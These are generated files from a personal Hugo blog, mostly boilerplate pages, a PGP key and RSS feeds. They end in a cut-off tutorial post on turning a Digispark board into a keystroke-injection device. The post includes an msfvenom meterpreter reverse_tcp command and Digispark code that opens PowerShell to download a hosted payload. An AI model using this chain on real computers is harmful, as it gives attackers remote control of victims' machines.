This means you are free to share and adapt the content under the following terms:
Share — copy and redistribute the material in any medium or format Adapt — remix, transform, and build upon the material for any purpose, even commercially.">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="About n0x.io"/>
<meta name="twitter:description" content="Contact me E-Mail: tf[@]n0x.io pgp Twitter: @n0x_io GitLab: n0x_io Build with Hugo This Website is generated with Hugo using the Coder Theme
License Unless noted otherwise all content on this website is protected under Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)
This means you are free to share and adapt the content under the following terms:
Share — copy and redistribute the material in any medium or format Adapt — remix, transform, and build upon the material for any purpose, even commercially."/>
<meta property="og:title" content="About n0x.io" />
<meta property="og:description" content="Contact me E-Mail: tf[@]n0x.io pgp Twitter: @n0x_io GitLab: n0x_io Build with Hugo This Website is generated with Hugo using the Coder Theme
License Unless noted otherwise all content on this website is protected under Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)
This means you are free to share and adapt the content under the following terms:
Share — copy and redistribute the material in any medium or format Adapt — remix, transform, and build upon the material for any purpose, even commercially." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://n0x.io/about/" /><meta property="article:section" content="" />
<title>
About n0x.io · n0x.io
</title>
<link rel="canonical" href="https://n0x.io/about/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container page">
<article>
<header>
<h1 class="title">
<a class="title-link" href="https://n0x.io/about/">
About n0x.io
</a>
</h1>
</header>
<h2 id="contact-me">
Contact me
<a class="heading-link" href="#contact-me">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<ul>
<li>E-Mail: tf[@]n0x.io <a href="https://n0x.io/about/pgp">pgp</a></li>
<li>Twitter: <a href="https://twitter.com/n0x_io">@n0x_io</a></li>
<li>GitLab: <a href="https://gitlab.com/n0x_io">n0x_io</a></li>
</ul>
<h2 id="build-with-hugo">
Build with Hugo
<a class="heading-link" href="#build-with-hugo">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>This Website is generated with <a href="https://gohugo.io/">Hugo</a> using the <a href="https://github.com/luizdepra/hugo-coder">Coder Theme</a></p>
<h2 id="license">
License
<a class="heading-link" href="#license">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>Unless noted otherwise all content on this website is protected under <a href="https://creativecommons.org/licenses/by-sa/4.0/">Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)</a></p>
<p>This means you are free to share and adapt the content under the following terms:</p>
<ul>
<li>Share — copy and redistribute the material in any medium or format</li>
<li>Adapt — remix, transform, and build upon the material for any purpose, even commercially.</li>
</ul>
</article>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

41
public/about/pgp Normal file
View File

@ -0,0 +1,41 @@
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
CR6bT3I=
=0vL+
-----END PGP PUBLIC KEY BLOCK-----

View File

@ -0,0 +1,181 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Just some small blog">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Categories"/>
<meta name="twitter:description" content="Just some small blog"/>
<meta property="og:title" content="Categories" />
<meta property="og:description" content="Just some small blog" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://n0x.io/categories/" />
<title>Categories · n0x.io</title>
<link rel="canonical" href="https://n0x.io/categories/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="alternate" type="application/rss+xml" href="https://n0x.io/categories/index.xml" title="n0x.io" />
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container taxonomy">
<h1 class="title">
<a class="title-link" href="https://n0x.io/categories/">Categories</a>
</h1>
<ul>
</ul>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

View File

@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Categories on n0x.io</title>
<link>https://n0x.io/categories/</link>
<description>Recent content in Categories on n0x.io</description>
<generator>Hugo -- gohugo.io</generator>
<language>de</language><atom:link href="https://n0x.io/categories/index.xml" rel="self" type="application/rss+xml" />
</channel>
</rss>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

Binary file not shown.

File diff suppressed because it is too large Load Diff

After

Width:  |  Height:  |  Size: 545 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 313 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 347 B

BIN
public/images/ava.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 313 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 347 B

BIN
public/images/spoopy.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.9 MiB

212
public/index.html Normal file
View File

@ -0,0 +1,212 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Just some small blog">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="n0x.io"/>
<meta name="twitter:description" content="Just some small blog"/>
<meta property="og:title" content="n0x.io" />
<meta property="og:description" content="Just some small blog" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://n0x.io/" />
<title>n0x.io</title>
<link rel="canonical" href="https://n0x.io/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="alternate" type="application/rss+xml" href="https://n0x.io/index.xml" title="n0x.io" />
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container centered">
<div class="about">
<div class="avatar"><img src="https://n0x.io/images/spoopy.gif" alt="avatar"></div>
<h1>_N0x</h1>
<h2>» Here be dragons «</h2>
<ul>
<li>
<a href="https://gitlab.com/n0x_io" aria-label="GitLab" >
<i class="fa fa-gitlab fa-2x" aria-hidden="true"></i>
</a>
</li>
<li>
<a href="https://github.com/n0x-io/" aria-label="Github" >
<i class="fa fa-github fa-2x" aria-hidden="true"></i>
</a>
</li>
<li>
<a href="https://twitter.com/n0x_io" aria-label="Twitter" >
<i class="fa fa-twitter fa-2x" aria-hidden="true"></i>
</a>
</li>
</ul>
</div>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

53
public/index.xml Normal file
View File

@ -0,0 +1,53 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>n0x.io</title>
<link>https://n0x.io/</link>
<description>Recent content on n0x.io</description>
<generator>Hugo -- gohugo.io</generator>
<language>de</language>
<lastBuildDate>Thu, 02 Jul 2020 00:00:00 +0000</lastBuildDate><atom:link href="https://n0x.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>GIT_IN_MINUTES</title>
<link>https://n0x.io/posts/gitbucket/</link>
<pubDate>Thu, 02 Jul 2020 00:00:00 +0000</pubDate>
<guid>https://n0x.io/posts/gitbucket/</guid>
<description>A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.
For Some strange reason I felt the need to set up my own git server - because who doesn&amp;rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs.</description>
</item>
<item>
<title>Digispark_ReverseShell</title>
<link>https://n0x.io/posts/digispark_reverseshell/</link>
<pubDate>Sat, 20 Jan 2018 17:03:46 +0100</pubDate>
<guid>https://n0x.io/posts/digispark_reverseshell/</guid>
<description>Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it.</description>
</item>
<item>
<title>HelloWorld</title>
<link>https://n0x.io/posts/helloworld/</link>
<pubDate>Mon, 08 Jan 2018 20:35:40 +0100</pubDate>
<guid>https://n0x.io/posts/helloworld/</guid>
<description>Hello World! Hello there and welcome on n0x.io!
I&amp;rsquo;m _N0x. I&amp;rsquo;m 20 years old and &amp;ldquo;Fachinformatiker für Anwendungsentwicklung&amp;rdquo;. I live in germany and Love tinkering with PCs and Software.
Thanks for stopping by ;)</description>
</item>
<item>
<title>About n0x.io</title>
<link>https://n0x.io/about/</link>
<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
<guid>https://n0x.io/about/</guid>
<description>Contact me E-Mail: tf[@]n0x.io pgp Twitter: @n0x_io GitLab: n0x_io Build with Hugo This Website is generated with Hugo using the Coder Theme
License Unless noted otherwise all content on this website is protected under Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)
This means you are free to share and adapt the content under the following terms:
Share — copy and redistribute the material in any medium or format Adapt — remix, transform, and build upon the material for any purpose, even commercially.</description>
</item>
</channel>
</rss>

View File

@ -0,0 +1 @@
const body=document.body,darkModeToggle=document.getElementById('dark-mode-toggle'),darkModeMediaQuery=window.matchMedia('(prefers-color-scheme: dark)');localStorage.getItem("colorscheme")?setTheme(localStorage.getItem("colorscheme")):body.classList.contains('colorscheme-light')||body.classList.contains('colorscheme-dark')?setTheme(body.classList.contains("colorscheme-dark")?"dark":"light"):setTheme(darkModeMediaQuery.matches?"dark":"light"),darkModeToggle.addEventListener('click',()=>{setTheme(body.classList.contains("colorscheme-dark")?"light":"dark")}),darkModeMediaQuery.addListener(a=>{setTheme(a.matches?"dark":"light")}),document.addEventListener("DOMContentLoaded",function(){let a=document.querySelector('.preload-transitions');a.classList.remove('preload-transitions')});function setTheme(a){body.classList.remove('colorscheme-auto'),inverse=a==='dark'?'light':'dark',localStorage.setItem('colorscheme',a),body.classList.remove('colorscheme-'+inverse),body.classList.add('colorscheme-'+a)}

View File

@ -0,0 +1,361 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it.">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Digispark_ReverseShell"/>
<meta name="twitter:description" content="Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it."/>
<meta property="og:title" content="Digispark_ReverseShell" />
<meta property="og:description" content="Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://n0x.io/posts/digispark_reverseshell/" /><meta property="article:section" content="posts" />
<meta property="article:published_time" content="2018-01-20T17:03:46&#43;01:00" />
<meta property="article:modified_time" content="2018-01-20T17:03:46&#43;01:00" />
<title>
Digispark_ReverseShell · n0x.io
</title>
<link rel="canonical" href="https://n0x.io/posts/digispark_reverseshell/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container post">
<article>
<header>
<div class="post-title">
<h1 class="title">
<a class="title-link" href="https://n0x.io/posts/digispark_reverseshell/">
Digispark_ReverseShell
</a>
</h1>
</div>
<div class="post-meta">
<div class="date">
<span class="posted-on">
<i class="fa fa-calendar" aria-hidden="true"></i>
<time datetime='2018-01-20T17:03:46&#43;01:00'>
January 20, 2018
</time>
</span>
<span class="reading-time">
<i class="fa fa-clock-o" aria-hidden="true"></i>
5-minute read
</span>
</div>
</div>
</header>
<div>
<h1 id="reverse-shell-for-150---digispark-instead-of-usb-rubber-ducky">
Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky
<a class="heading-link" href="#reverse-shell-for-150---digispark-instead-of-usb-rubber-ducky">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h1>
<p>Some of you might already have heard of it: The <a href="https://hakshop.com/products/usb-rubber-ducky-deluxe">USB Rubber Ducky by Hak5</a>. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. The only problem is the high (but reasonable) price of $45. In this tutorial I will show you how you can use the Digispark USB Deveoplment Board as a cheap alternative. As an example we will be creating a reverse shell, that will be launched when you plug the Digispark into a windows PC.</p>
<h2 id="you-will-need">
You will need:
<a class="heading-link" href="#you-will-need">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<ul>
<li><a href="http://digistump.com/products/1">Digispark USB Development Board</a></li>
<li><a href="https://www.kali.org/">Kali Linux</a> with <a href="https://www.metasploit.com/">Metasploid-Framework</a></li>
</ul>
<h2 id="digispark-usb-development-board">
Digispark USB Development Board
<a class="heading-link" href="#digispark-usb-development-board">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>The Digispark from Digistump is a tiny, programmable micro-controller that can be programmed with the <a href="https://www.arduino.cc/en/main/software">Arduino-IDE</a>. The syntax is very similar to the one of Arduino-Boards. A tutorial on how to set the IDE up for the Digispark can be found here: <a href="http://digistump.com/wiki/digispark/tutorials/connecting">Connecting and Programming Your Digispark</a></p>
<p>I bought a bunch of Digisparks of eBay for little money. They aren&rsquo;t original (you can tell from the &ldquo;rev3&rdquo; which was never released) but they still are fully functional and perfect for our purposes.</p>
<p>For a nice video to set the Digispark up, check out this <a href="https://www.youtube.com/watch?v=fGmGBa-4cYQ">tutorial by Seytonic</a></p>
<h2 id="creating-the-payload">
Creating the Payload
<a class="heading-link" href="#creating-the-payload">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>First of all we need to create the payload that will be deployed and executed by the Digispark on our target machine. We will use <a href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">MSFvenom</a> for this.</p>
<pre><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f psh-cmd
</code></pre>
<p>You need to replace the LHOST parameter with you IP address. You also could use your domain and use the reverse shell even outside of your network.</p>
<p>Now&hellip; here we find the first difficulty. Unlike the Rubber Ducky which can use a SD-card of any size, the Digispark only has 6kb of internal memory and the library we are going to need to use the Digispark as a Keyboard itself has about 2,4kb. So there is no space to place the payload directly on it.
To get our payload on the victim-PC we need to make it accessible on the web. We could use a local web-server, upload the plain payload to <a href="http://pastebin.com/">pastebin</a> or just place it on our webspace.</p>
<h2 id="programming-the-digispark">
Programming The Digispark
<a class="heading-link" href="#programming-the-digispark">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>After we&rsquo;ve created the Payload we can start with programming the Digispark! Here we have to keep in mind that to program the Digispark you have to work with a US-Keyboard-Layout, this means you have to account for special characters and such if your keyboard layout is one of foreign origin.</p>
<p>The Sourcecode for the Digispark:</p>
<pre><code>#include &quot;DigiKeyboard.h&quot;
/* US-KEYBOARD-LAYOUT ONLY!!
*
* still needs some testing... but should work
*
* Made by _N0x
* Thanks to Alex (http://0xdeadcode.se/archives/581) for the idea of using a small powershell payload.
*/
void setup() {
// Adding some LED-effects just for fun ;)
pinMode(1, OUTPUT);
delay(100);
// WIN+r, delete content, start powershell
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // WIN+r
delay(100);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
delay(50);
DigiKeyboard.println(&quot;powershell&quot;);
delay(500);
// turn the LED on
digitalWrite(1, HIGH);
// $url = '...' --&gt; URL to Payload
DigiKeyboard.println(&quot;$url = 'LINK_TO_HOSTET_PAYLOAD'&quot;);
delay(50);
// $result = Invoke-WebRequest -Uri $url
